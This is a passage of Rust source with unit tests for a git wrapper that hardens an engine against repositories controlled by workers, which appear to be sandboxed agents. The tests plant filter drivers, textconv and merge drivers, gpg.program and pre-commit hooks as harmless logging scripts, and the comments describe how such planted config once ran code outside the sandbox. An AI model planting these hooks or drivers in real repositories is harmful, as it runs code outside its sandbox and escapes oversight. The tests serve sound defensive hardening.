2398 ExecFlags::NetworkSafe => kv == CREDENTIAL_HELPER_RESET || kv == SSH_COMMAND_OVERRIDE,
2399 ExecFlags::SeeingFsmonitor => kv == "core.fsmonitor=",
2400 ExecFlags::None => true,
2401 };
2402 let mut kept = Vec::with_capacity(flags.len());
2403 let mut i = 0;
2404 while i + 1 < flags.len() {
2405 let (flag, kv) = (&flags[i], &flags[i + 1]);
2406 i += 2;
2407 if flag == "-c" && drop(kv) {
2408 continue;
2409 }
2410 kept.push(flag.clone());
2411 kept.push(kv.clone());
2412 }
2413 kept
2414 }
2415}
2416
2417/// Turn a finished git `Output` into stdout-on-success / [`EngineError::Git`].
2418fn check_status(args: &[OsString], out: Output) -> Result<String> {
2419 if out.status.success() {
2420 Ok(String::from_utf8_lossy(&out.stdout).into_owned())
2421 } else {
2422 Err(EngineError::Git(format!(
2423 "git {} failed ({}): {}",
2424 render_args(args),
2425 out.status,
2426 failure_detail(&out)
2427 )))
2428 }
2429}
2430
2431/// Human-readable rendering of an argument vector for error context.
2432fn render_args(args: &[OsString]) -> String {
2433 args.iter()
2434 .map(|a| a.to_string_lossy().into_owned())
2435 .collect::<Vec<_>>()
2436 .join(" ")
2437}
2438
2439/// Best error detail available: stderr, falling back to stdout (git prints
2440/// e.g. "nothing to commit" on stdout).
2441fn failure_detail(out: &Output) -> String {
2442 let stderr = String::from_utf8_lossy(&out.stderr).trim().to_string();
2443 let stdout = String::from_utf8_lossy(&out.stdout).trim().to_string();
2444 match (stderr.is_empty(), stdout.is_empty()) {
2445 (false, true) => stderr,
2446 (true, false) => stdout,
2447 (false, false) => format!("{stderr} | {stdout}"),
2448 (true, true) => "no output".to_string(),
2449 }
2450}
2451
2452#[cfg(test)]
2453mod tests {
2454 use super::*;
2455
2456 fn test_git(root: &Path, args: &[&str]) -> Output {
2457 Command::new("git")
2458 .args(args)
2459 .current_dir(root)
2460 .output()
2461 .expect("spawn git")
2462 }
2463
2464 fn init_test_repo(root: &Path) {
2465 if !test_git(root, &["init", "-b", "main"]).status.success() {
2466 assert!(test_git(root, &["init"]).status.success());
2467 }
2468 assert!(test_git(root, &["config", "user.name", "kranz-test"])
2469 .status
2470 .success());
2471 assert!(
2472 test_git(root, &["config", "user.email", "test@kranz.local"])
2473 .status
2474 .success()
2475 );
2476 }
2477
2478 fn commit_test_repo_at(root: &Path, message: &str, timestamp: &str) {
2479 assert!(test_git(root, &["add", "-A"]).status.success());
2480 let output = Command::new("git")
2481 .args(["-c", "commit.gpgsign=false", "commit", "-m", message])
2482 .current_dir(root)
2483 .env("GIT_AUTHOR_DATE", timestamp)
2484 .env("GIT_COMMITTER_DATE", timestamp)
2485 .output()
2486 .expect("spawn git commit");
2487 assert!(output.status.success(), "git commit failed: {output:?}");
2488 }
2489
2490 #[test]
2491 fn path_changed_since_excludes_verification_day_and_detects_later_commit() {
2492 let dir = tempfile::tempdir().unwrap();
2493 init_test_repo(dir.path());
2494 std::fs::write(dir.path().join("evidence.md"), "v1\n").unwrap();
2495 commit_test_repo_at(dir.path(), "seed", "2026-07-08T12:00:00Z");
2496 let repo = GitRepo::open(dir.path()).unwrap();
2497
2498 assert!(!repo
2499 .path_changed_since("evidence.md", "2026-07-08")
2500 .unwrap());
2501
2502 std::fs::write(dir.path().join("evidence.md"), "v2\n").unwrap();
2503 // One hour into the next UTC day is deliberately still the previous
2504 // calendar day in American timezones. The probe must not inherit the
2505 // host timezone when it interprets the verification date.
2506 commit_test_repo_at(dir.path(), "later", "2026-07-09T01:00:00Z");
2507 assert!(repo
2508 .path_changed_since("evidence.md", "2026-07-08")
2509 .unwrap());
2510 assert!(!repo
2511 .path_changed_since("evidence.md", "2026-07-09")
2512 .unwrap());
2513 }
2514
2515 #[test]
2516 fn path_changed_since_refuses_invalid_inputs_and_propagates_git_failure() {
2517 let dir = tempfile::tempdir().unwrap();
2518 init_test_repo(dir.path());
2519 std::fs::write(dir.path().join("evidence.md"), "uncommitted\n").unwrap();
2520 let repo = GitRepo::open(dir.path()).unwrap();
2521
2522 assert!(repo
2523 .path_changed_since("../outside.md", "2026-07-08")
2524 .is_err());
2525 assert!(repo
2526 .path_changed_since("evidence.md", "not-a-date")
2527 .is_err());
2528 assert!(repo
2529 .path_changed_since("evidence.md", "2026-07-08")
2530 .is_err());
2531 }
2532
2533 /// git on Windows cannot parse verbatim (`\\?\C:\...`) paths — the
2534 /// prefix is stripped for git arguments (worktree add/remove). On all
2535 /// platforms a plain path passes through untouched; the verbatim strip
2536 /// itself is cfg(windows) and oracled by the windows-latest CI leg.
2537 #[test]
2538 fn git_path_arg_passes_plain_paths_through() {
2539 let plain = Path::new(if cfg!(windows) {
2540 r"C:\repo\wt"
2541 } else {
2542 "/repo/wt"
2543 });
2544 assert_eq!(git_path_arg(plain), plain);
2545 }
2546
2547 #[cfg(windows)]
2548 #[test]
2549 fn git_path_arg_strips_the_verbatim_prefix() {
2550 let verbatim = Path::new(r"\\?\C:\repo\wt");
2551 assert_eq!(git_path_arg(verbatim), Path::new(r"C:\repo\wt"));
2552 // UNC shares are NOT collapsed.
2553 let unc = Path::new(r"\\?\UNC\share\repo");
2554 assert_eq!(git_path_arg(unc), unc);
2555 }
2556
2557 // -----------------------------------------------------------------------
2558 // 13th-pass review (P1): the with_hooks_disabled countermeasure covers
2559 // the WHOLE executable git-config surface — planted filter drivers and
2560 // gpg.program, not just hooks/fsmonitor. Fixture idiom mirrors
2561 // validator_integrity's planted-hook test: prove the fixture is LIVE
2562 // with an ordinary handle, then prove the verification handle never
2563 // executes the payload. Unix-only: the payloads are /bin/sh scripts.
2564 // -----------------------------------------------------------------------
2565
2566 /// A repo with an initial commit and a scripted payload on disk; returns
2567 /// the repo root (inside `dir`), the payload script path, and the
2568 /// invocation log path the payload appends to when it runs.
2569 #[cfg(unix)]
2570 fn git_exec_config_repo(
2571 dir: &tempfile::TempDir,
2572 payload_body: &str,
2573 ) -> (PathBuf, PathBuf, PathBuf) {
2574 use std::os::unix::fs::PermissionsExt as _;
2575 let root = dir.path().join("repo");
2576 std::fs::create_dir_all(&root).unwrap();
2577 let log = dir.path().join("payload-invocations");
2578 let payload = dir.path().join("payload");
2579 std::fs::write(
2580 &payload,
2581 payload_body.replace("__LOG__", &log.display().to_string()),
2582 )
2583 .unwrap();
2584 std::fs::set_permissions(&payload, std::fs::Permissions::from_mode(0o755)).unwrap();
2585 let git = |args: &[&str]| {
2586 let out = Command::new("git")
2587 .args(args)
2588 .current_dir(&root)
2589 .output()
2590 .expect("spawn git");
2591 assert!(out.status.success(), "git {args:?} failed: {out:?}");
2592 };
2593 git(&["init", "-q"]);
2594 git(&["config", "user.email", "t@t"]);
2595 git(&["config", "user.name", "t"]);
2596 std::fs::write(root.join("seed.txt"), "seed\n").unwrap();
2597 git(&["add", "seed.txt"]);
2598 git(&["commit", "-qm", "seed"]);
2599 (root, payload, log)
2600 }
2601
2602 /// A planted `filter.<name>.clean` driver (repo config) armed by a
2603 /// worker-writable `.gitattributes` must never execute on the engine's
2604 /// checkpoint `git add`/`git commit` — and the add must still stage the
2605 /// bytes VERBATIM (the armed attribute is deliverable content, not
2606 /// something the countermeasure may strip). The driver name is DOTTED
2607 /// (`weird.name`) to cover the subsection round-trip in
2608 /// `configured_filter_drivers`.
2609 #[cfg(unix)]
2610 #[test]
2611 fn git_exec_config_planted_clean_filter_never_runs_on_checkpoint_add() {
2612 let dir = tempfile::tempdir().unwrap();
2613 let (root, payload, log) =
2614 git_exec_config_repo(&dir, "#!/bin/sh\necho clean-ran >> '__LOG__'\ncat\n");
2615 let git = |args: &[&str]| {
2616 Command::new("git")
2617 .args(args)
2618 .current_dir(&root)
2619 .output()
2620 .expect("spawn git")
2621 };
2622 // Plant: the driver in repo config, armed for *.txt by a
2623 // worker-writable attributes file.
2624 assert!(git(&[
2625 "config",
2626 "filter.weird.name.clean",
2627 payload.to_str().unwrap()
2628 ])
2629 .status
2630 .success());
2631 std::fs::write(root.join(".gitattributes"), "*.txt filter=weird.name\n").unwrap();
2632
2633 // Fixture proof: an ORDINARY `git add` executes the planted driver —
2634 // then reset the log so any later invocation can only have come from
2635 // the engine's checkpoint.
2636 std::fs::write(root.join("probe.txt"), "probe\n").unwrap();
2637 assert!(git(&["add", "probe.txt"]).status.success());
2638 assert!(
2639 std::fs::read_to_string(&log)
2640 .map(|hits| !hits.is_empty())
2641 .unwrap_or(false),
2642 "fixture: ordinary git add runs the planted clean filter"
2643 );
2644 let _ = std::fs::remove_file(&log);
2645
2646 // The engine's checkpoint path (commit_dirty_paths is what the pool
2647 // checkpoint and the sequential dirty-tree turn call): the driver
2648 // must NOT execute, and the staged bytes must be verbatim. The handle
2649 // is a PLAIN `GitRepo::open` — hardening is the default now (audit
2650 // H3), and this test is what proves the default carries it.
2651 let repo = GitRepo::open(&root).unwrap();
2652 std::fs::write(root.join("deliverable.txt"), "exact bytes ✓\n").unwrap();
2653 match repo.commit_dirty_paths("checkpoint").unwrap() {
2654 CheckpointOutcome::Committed(_) => {}
2655 other => panic!("checkpoint must commit, got {other:?}"),
2656 }
2657 assert!(
2658 !log.exists(),
2659 "the checkpoint's git add must never execute the planted clean filter: {}",
2660 std::fs::read_to_string(&log).unwrap_or_default()
2661 );
2662 let shown = repo.show_file("HEAD", "deliverable.txt").unwrap().unwrap();
2663 assert_eq!(
2664 shown,
2665 "exact bytes ✓\n".as_bytes(),
2666 "the add stages the raw bytes verbatim — the armed attribute is content, not a hook"
2667 );
2668 // Re-wrapping an already-verified handle is idempotent: the same
2669 // argv segment, never a duplicated or re-enumerated one.
2670 let rewrapped = repo.with_hooks_disabled().unwrap();
2671 assert_eq!(repo.exec_disable_flags, rewrapped.exec_disable_flags);
2672 }
2673
2674 #[cfg(unix)]
2675 #[test]
2676 fn git_exec_config_planted_textconv_never_runs_on_checkpoint_diff() {
2677 let dir = tempfile::tempdir().unwrap();
2678 let (root, payload, log) = git_exec_config_repo(
2679 &dir,
2680 "#!/bin/sh\necho textconv-ran >> '__LOG__'\ncat \"$1\"\n",
2681 );
2682 let raw = GitRepo::open_unhardened(&root).unwrap();
2683 raw.run(&["config", "diff.hostile.textconv", payload.to_str().unwrap()])
2684 .unwrap();
2685 std::fs::write(root.join(".gitattributes"), "*.txt diff=hostile\n").unwrap();
2686 std::fs::write(root.join("seed.txt"), "modified\n").unwrap();
2687 raw.diff_head().unwrap();
2688 assert!(
2689 log.exists(),
2690 "ordinary diff must execute the fixture converter"
2691 );
2692 std::fs::remove_file(&log).unwrap();
2693
2694 let guarded = raw.with_hooks_disabled().unwrap();
2695 assert!(guarded.diff_head().unwrap().contains("+modified"));
2696 assert!(matches!(
2697 guarded.commit_dirty_paths("checkpoint").unwrap(),
2698 CheckpointOutcome::Committed(_)
2699 ));
2700 assert!(!log.exists(), "the engine ran the planted converter");
2701 assert_eq!(
2702 guarded.show_file("HEAD", "seed.txt").unwrap().unwrap(),
2703 b"modified\n"
2704 );
2705 }
2706
2707 #[cfg(unix)]
2708 #[test]
2709 fn git_exec_config_planted_merge_driver_fails_closed() {
2710 let dir = tempfile::tempdir().unwrap();
2711 let (root, payload, log) =
2712 git_exec_config_repo(&dir, "#!/bin/sh\necho merge-ran >> '__LOG__'\nexit 0\n");
2713 let raw = GitRepo::open_unhardened(&root).unwrap();
2714 raw.run(&["checkout", "-b", "other"]).unwrap();
2715 std::fs::write(root.join("seed.txt"), "other\n").unwrap();
2716 raw.run(&["commit", "-am", "other"]).unwrap();
2717 raw.run(&["checkout", "-b", "left", "HEAD~1"]).unwrap();
2718 std::fs::write(root.join("seed.txt"), "left\n").unwrap();
2719 raw.run(&["commit", "-am", "left"]).unwrap();
2720 std::fs::write(root.join(".gitattributes"), "*.txt merge=hostile.name\n").unwrap();
2721 raw.run(&[
2722 "config",
2723 "merge.hostile.name.driver",
2724 payload.to_str().unwrap(),
2725 ])
2726 .unwrap();
2727 let guarded = raw.with_hooks_disabled().unwrap();
2728 assert!(guarded.run(&["merge", "--no-edit", "other"]).is_err());
2729 assert!(
2730 !log.exists(),
2731 "engine merge executed a worker-authored driver"
2732 );
2733 raw.run(&["merge", "--abort"]).unwrap();
2734 raw.run(&["merge", "--no-edit", "other"]).unwrap();
2735 assert!(
2736 log.exists(),
2737 "ordinary merge must execute the fixture driver"
2738 );
2739 }
2740
2741 /// A planted `gpg.program` with signing forced on by repo config
2742 /// (`commit.gpgSign=true`) must never execute on the engine's commit:
2743 /// `commit.gpgSign=false` turns signing off and `gpg.program=/bin/false`
2744 /// makes the payload inert even if signing is forced back on.
2745 #[cfg(unix)]
2746 #[test]
2747 fn git_exec_config_planted_gpg_program_never_runs_when_signing_forced() {
2748 let dir = tempfile::tempdir().unwrap();
2749 let (root, payload, log) =
2750 git_exec_config_repo(&dir, "#!/bin/sh\necho gpg-ran >> '__LOG__'\nexit 1\n");
2751 let git = |args: &[&str]| {
2752 Command::new("git")
2753 .args(args)
2754 .current_dir(&root)
2755 .output()
2756 .expect("spawn git")
2757 };
2758 assert!(git(&["config", "commit.gpgSign", "true"]).status.success());
2759 assert!(git(&["config", "gpg.program", payload.to_str().unwrap()])
2760 .status
2761 .success());
2762
2763 // Fixture proof: an ORDINARY commit invokes the planted signer (and
2764 // fails because the payload exits 1) — the repo config really forces
2765 // signing. Then reset the log.
2766 std::fs::write(root.join("probe.txt"), "probe\n").unwrap();
2767 assert!(git(&["add", "probe.txt"]).status.success());
2768 assert!(
2769 !git(&["commit", "-qm", "probe"]).status.success(),
2770 "fixture: signing with the failing payload must fail the commit"
2771 );
2772 assert!(
2773 std::fs::read_to_string(&log)
2774 .map(|hits| !hits.is_empty())
2775 .unwrap_or(false),
2776 "fixture: ordinary git commit runs the planted gpg.program"
2777 );
2778 let _ = std::fs::remove_file(&log);
2779
2780 // The engine's commit runs with the payload neutralized: it commits
2781 // unsigned and the signer never fires. Plain `GitRepo::open` again —
2782 // the default path is the one that has to hold.
2783 let repo = GitRepo::open(&root).unwrap();
2784 match repo.commit_dirty_paths("checkpoint").unwrap() {
2785 CheckpointOutcome::Committed(_) => {}
2786 other => panic!("checkpoint must commit, got {other:?}"),
2787 }
2788 assert!(
2789 !log.exists(),
2790 "the engine's commit must never execute the planted gpg.program: {}",
2791 std::fs::read_to_string(&log).unwrap_or_default()
2792 );
2793 // The commit really landed (ordinary add/commit behavior unchanged).
2794 assert_eq!(repo.commits_between("HEAD~1", "HEAD").unwrap().len(), 1);
2795 }
2796
2797 // -----------------------------------------------------------------------
2798 // Audit 2026-09-01 H1/H3: hardening is the DEFAULT, not an opt-in.
2799 //
2800 // The countermeasure was well built and applied at five of twenty-one
2801 // sites. The engine's checkpoint commits, the integration-worktree
2802 // handle, checkout, tag and `push_mission_branch` all opened plain
2803 // handles in the tree the worker controls, so a planted
2804 // `.git/hooks/pre-commit` executed outside every sandbox with the
2805 // engine's full ambient environment.
2806 // -----------------------------------------------------------------------
2807
2808 /// Plant an executable `.git/hooks/<name>` that appends to `log`.
2809 #[cfg(unix)]
2810 fn plant_hook(root: &Path, name: &str, log: &Path) {
2811 use std::os::unix::fs::PermissionsExt as _;
2812 let hooks = root.join(".git").join("hooks");
2813 std::fs::create_dir_all(&hooks).unwrap();
2814 let hook = hooks.join(name);
2815 std::fs::write(
2816 &hook,
2817 format!("#!/bin/sh\necho {name}-ran >> '{}'\n", log.display()),
2818 )
2819 .unwrap();
2820 std::fs::set_permissions(&hook, std::fs::Permissions::from_mode(0o755)).unwrap();
2821 }
2822
2823 /// A worker-planted `pre-commit` hook must not run on the checkpoint
2824 /// commit of a handle opened the ORDINARY way. The unhardened handle is
2825 /// the fixture proof that the hook is live: without it this test would
2826 /// pass on a repo where hooks simply never fire.
2827 #[cfg(unix)]
2828 #[test]
2829 fn default_open_never_runs_a_planted_pre_commit_hook() {
2830 let dir = tempfile::tempdir().unwrap();
2831 let (root, _payload, log) = git_exec_config_repo(&dir, "#!/bin/sh\ncat\n");
2832 plant_hook(&root, "pre-commit", &log);
2833
2834 // Fixture proof: the explicitly UNHARDENED handle runs it.
2835 let unhardened = GitRepo::open_unhardened(&root).unwrap();
2836 std::fs::write(root.join("probe.txt"), "probe\n").unwrap();
2837 unhardened.commit_dirty_paths("probe").unwrap();
2838 assert!(
2839 log.exists(),
2840 "fixture: an unhardened handle must run the planted pre-commit hook"
2841 );
2842 std::fs::remove_file(&log).unwrap();
2843
2844 // The default: hardened, so the hook never fires.
2845 let repo = GitRepo::open(&root).unwrap();
2846 std::fs::write(root.join("deliverable.txt"), "x\n").unwrap();
2847 match repo.commit_dirty_paths("checkpoint").unwrap() {
2848 CheckpointOutcome::Committed(_) => {}
2849 other => panic!("checkpoint must commit, got {other:?}"),
2850 }
2851 assert!(
2852 !log.exists(),
2853 "GitRepo::open must be hardened by default: {}",
2854 std::fs::read_to_string(&log).unwrap_or_default()
2855 );
2856 }
2857
2858 /// The same for `push_mission_branch`, which `kranz exec --push` calls on
2859 /// the tree the worker just wrote (`pre-push`, and `core.sshCommand`).
2860 /// The push itself fails — there is no reachable remote — but the hook
2861 /// question is decided before that: git runs `pre-push` only after the
2862 /// connection, so what this pins is that the handle carrying the push is
2863 /// the hardened one.
2864 #[cfg(unix)]
2865 #[test]
2866 fn push_mission_branch_runs_on_a_hardened_handle() {
2867 let dir = tempfile::tempdir().unwrap();
2868 let (root, _payload, _log) = git_exec_config_repo(&dir, "#!/bin/sh\ncat\n");
2869 let repo = GitRepo::open(&root).unwrap();
2870 assert!(
2871 repo.exec_disable_flags.is_some(),
2872 "the handle cli/exec.rs pushes with must carry the neutralization segment"
2873 );
2874 // The guard still refuses a non-mission ref before spawning git.
2875 assert!(repo.push_mission_branch("origin", "main").is_err());
2876 }
2877
2878 /// `with_hooks_disabled` on an already-hardened handle is an idempotent
2879 /// clone: the same argv segment, never a second enumeration. Existing
2880 /// call sites (merge, validator snapshot/integrity) keep reading as the
2881 /// assertions they are.
2882 #[test]
2883 fn with_hooks_disabled_is_idempotent_on_the_default_handle() {
2884 let dir = tempfile::tempdir().unwrap();
2885 init_test_repo(dir.path());
2886 let repo = GitRepo::open(dir.path()).unwrap();
2887 assert!(repo.exec_disable_flags.is_some());
2888 let rewrapped = repo.with_hooks_disabled().unwrap();
2889 assert_eq!(repo.exec_disable_flags, rewrapped.exec_disable_flags);
2890
2891 let plain = GitRepo::open_unhardened(dir.path()).unwrap();
2892 assert!(
2893 plain.exec_disable_flags.is_none(),
2894 "open_unhardened is the explicit escape hatch"
2895 );
2896 assert_eq!(
2897 plain.with_hooks_disabled().unwrap().exec_disable_flags,
2898 repo.exec_disable_flags,
2899 "opting in by hand must reach the same segment the default now carries"
2900 );
2901 }
2902
2903 /// A LOCAL hardened invocation nulls the user- and system-scope config
2904 /// files, which the enumerated `-c` segment cannot cover (the enumeration
2905 /// reads the REPO's config, so a driver armed only in `~/.gitconfig`
2906 /// would not be in the list). The identity reads are the documented
2907 /// exception.
2908 #[test]
2909 fn hardened_invocations_null_user_and_system_config() {
2910 let empty = empty_global_config_path().unwrap();
2911 assert_eq!(
2912 hardened_config_env(UserConfig::Ignored).unwrap(),
2913 vec![
2914 ("GIT_CONFIG_NOSYSTEM", OsString::from("1")),
2915 ("GIT_CONFIG_GLOBAL", empty.as_os_str().to_os_string()),
2916 ]
2917 );
2918 assert!(
2919 hardened_config_env(UserConfig::Visible).unwrap().is_empty(),
2920 "identity resolution must still see the operator's ~/.gitconfig"
2921 );
2922 }
2923
2924 /// Audit F-11: a NETWORK invocation leaves the operator's `~/.gitconfig`
2925 /// in force — `GIT_CONFIG_GLOBAL` is never set for it, so the credential
2926 /// helper, the `insteadOf` convention and the corporate `http.proxy` an
2927 /// https push depends on all still resolve. The system scope stays off,
2928 /// and the argv segment drops exactly the two entries that break a real
2929 /// remote.
2930 #[test]
2931 fn network_invocations_keep_the_operators_global_config() {
2932 let env = hardened_config_env(UserConfig::KeptForNetwork).unwrap();
2933 assert_eq!(env, vec![("GIT_CONFIG_NOSYSTEM", OsString::from("1"))]);
2934 assert!(
2935 !env.iter().any(|(key, _)| *key == "GIT_CONFIG_GLOBAL"),
2936 "nulling the user scope on a push is what F-11 reported as broken"
2937 );
2938
2939 let flags: Vec<String> = [
2940 "-c",
2941 "core.hooksPath=",
2942 "-c",
2943 CREDENTIAL_HELPER_RESET,
2944 "-c",
2945 SSH_COMMAND_OVERRIDE,
2946 "-c",
2947 "core.askPass=",
2948 ]
2949 .iter()
2950 .map(|s| s.to_string())
2951 .collect();
2952 assert_eq!(
2953 ExecFlags::NetworkSafe.select(&flags),
2954 vec!["-c", "core.hooksPath=", "-c", "core.askPass="],
2955 "an empty credential.helper resets the operator's own helper, and an \
2956 empty core.sshCommand makes git exec the empty string"
2957 );
2958 assert_eq!(ExecFlags::All.select(&flags), flags);
2959 assert!(ExecFlags::None.select(&flags).is_empty());
2960 }
2961
2962 /// Audit F-12: `GIT_CONFIG_GLOBAL` points at an EMPTY REGULAR FILE this
2963 /// process created, on every platform — not at `/dev/null` or the
2964 /// never-verified Windows `NUL`, where a git that refuses the path would
2965 /// fail every engine git call rather than degrade.
2966 #[test]
2967 fn the_nulled_global_config_is_an_empty_file_the_engine_owns() {
2968 let path = empty_global_config_path().unwrap();
2969 let meta = std::fs::metadata(path).expect("the empty global config must exist");
2970 assert!(meta.is_file(), "must be a regular file, not a device");
2971 assert_eq!(meta.len(), 0, "must be empty");
2972 // Cached: the same path for the life of the process.
2973 assert_eq!(path, empty_global_config_path().unwrap());
2974 #[cfg(unix)]
2975 {
2976 use std::os::unix::fs::PermissionsExt as _;
2977 assert_eq!(meta.permissions().mode() & 0o777, 0o600);
2978 }
2979 }
2980
2981 /// Audit F-10: the neutralization segment covers the keys that matter on
2982 /// the one path the audit named as newly exposed. `url.*.insteadOf` is
2983 /// deliberately absent — see `build_exec_disable_flags`, blanking a
2984 /// multi-valued key ARMS a catch-all rewrite instead of removing one.
2985 #[test]
2986 fn the_flag_segment_covers_the_credential_and_transport_surfaces() {
2987 let dir = tempfile::tempdir().unwrap();
2988 init_test_repo(dir.path());
2989 let repo = GitRepo::open(dir.path()).unwrap();
2990 let flags = repo.exec_disable_flags.clone().unwrap();
2991 for expected in [
2992 "credential.helper=",
2993 "core.sshCommand=",
2994 "core.askPass=",
2995 "core.editor=",
2996 "sequence.editor=",
2997 "uploadpack.packObjectsHook=",
2998 "protocol.ext.allow=never",
2999 ] {
3000 assert!(
3001 flags.iter().any(|f| f == expected),
3002 "the hardened segment must carry {expected}: {flags:?}"
3003 );
3004 }
3005 assert!(
3006 !flags.iter().any(|f| f.starts_with("url.")),
3007 "an empty insteadOf matches EVERY url and rewrites it to the base"
3008 );
3009 }
3010
3011 /// A remote whose config names a program to run on the far side is
3012 /// enumerated and blanked, the way filter drivers are. Both keys are
3013 /// single-valued, so the empty `-c` override really does replace the
3014 /// planted value.
3015 #[test]
3016 fn remote_transport_programs_are_enumerated_and_blanked() {
3017 let dir = tempfile::tempdir().unwrap();
3018 init_test_repo(dir.path());
3019 assert!(test_git(
3020 dir.path(),
3021 &["config", "remote.origin.uploadpack", "/tmp/payload"]
3022 )
3023 .status
3024 .success());
3025 let repo = GitRepo::open(dir.path()).unwrap();
3026 let flags = repo.exec_disable_flags.clone().unwrap();
3027 assert!(flags.iter().any(|f| f == "remote.origin.uploadpack="));
3028 assert!(flags.iter().any(|f| f == "remote.origin.receivepack="));
3029 }
3030
3031 /// The index-flag detections must still SEE the fsmonitor-valid tag.
3032 ///
3033 /// Neutralizing `core.fsmonitor=` on every invocation made `ls-files -f`
3034 /// print the ordinary `H` for a flag-hidden entry, so
3035 /// `has_normal_index_entry` — which `kranz ready` uses to refuse a
3036 /// `.gitignore` whose worktree bytes are hidden from diff and status —
3037 /// read the hidden file as clean. The carve-out in
3038 /// `run_seeing_fsmonitor` is what keeps the detection working; this test
3039 /// is what would catch it being removed.
3040 #[test]
3041 fn index_flag_detection_still_sees_fsmonitor_valid_on_a_hardened_handle() {
3042 let dir = tempfile::tempdir().unwrap();
3043 init_test_repo(dir.path());
3044 std::fs::write(dir.path().join("rules.txt"), "one\n").unwrap();
3045 assert!(test_git(dir.path(), &["add", "-A"]).status.success());
3046 assert!(Command::new("git")
3047 .args(["-c", "commit.gpgsign=false", "commit", "-qm", "seed"])
3048 .current_dir(dir.path())
3049 .output()
3050 .expect("spawn git commit")
3051 .status
3052 .success());
3053 assert!(test_git(dir.path(), &["config", "core.fsmonitor", "true"])
3054 .status
3055 .success());
3056 std::fs::write(dir.path().join("rules.txt"), "one\ntwo\n").unwrap();
3057 assert!(test_git(
3058 dir.path(),
3059 &["update-index", "--fsmonitor-valid", "rules.txt"]
3060 )
3061 .status
3062 .success());
3063
3064 let repo = GitRepo::open(dir.path()).unwrap();
3065 // Whether the bit sticks is git-version dependent; skip rather than
3066 // fail where this host's git drops it (the same pattern ready.rs
3067 // uses for its own fixture).
3068 let tagged = test_git(dir.path(), &["ls-files", "-f", "--", "rules.txt"]);
3069 if String::from_utf8_lossy(&tagged.stdout) != "h rules.txt\n" {
3070 eprintln!("this git does not honor --fsmonitor-valid; skipping");
3071 return;
3072 }
3073 assert!(
3074 !repo.has_normal_index_entry("rules.txt").unwrap(),
3075 "a hardened handle must still refuse an fsmonitor-hidden entry"
3076 );
3077 assert!(
3078 !repo.is_clean_tracked_strict().unwrap(),
3079 "the strict cleanliness check must see the flag too"
3080 );
3081 }
3082
3083 /// The identity carried into engine commits is unchanged by the
3084 /// hardening: `ensure_identity` pins whatever the operator's config
3085 /// resolves to into LOCAL scope, which a hardened invocation can still
3086 /// see. Without the pin, nulling `~/.gitconfig` would silently restamp
3087 /// every engine commit as `kranz <kranz@localhost>`.
3088 #[test]
3089 fn ensure_identity_pins_the_resolved_identity_into_local_scope() {
3090 let dir = tempfile::tempdir().unwrap();
3091 init_test_repo(dir.path());
3092 // init_test_repo sets a LOCAL identity; it must survive untouched.
3093 let repo = GitRepo::open(dir.path()).unwrap();
3094 repo.ensure_identity().unwrap();
3095 let (name, email) = repo.resolved_identity().unwrap();
3096 assert_eq!(name, "kranz-test");
3097 assert_eq!(email, "test@kranz.local");
3098 let local = test_git(dir.path(), &["config", "--local", "--get", "user.name"]);
3099 assert_eq!(String::from_utf8_lossy(&local.stdout).trim(), "kranz-test");
3100 }
3101}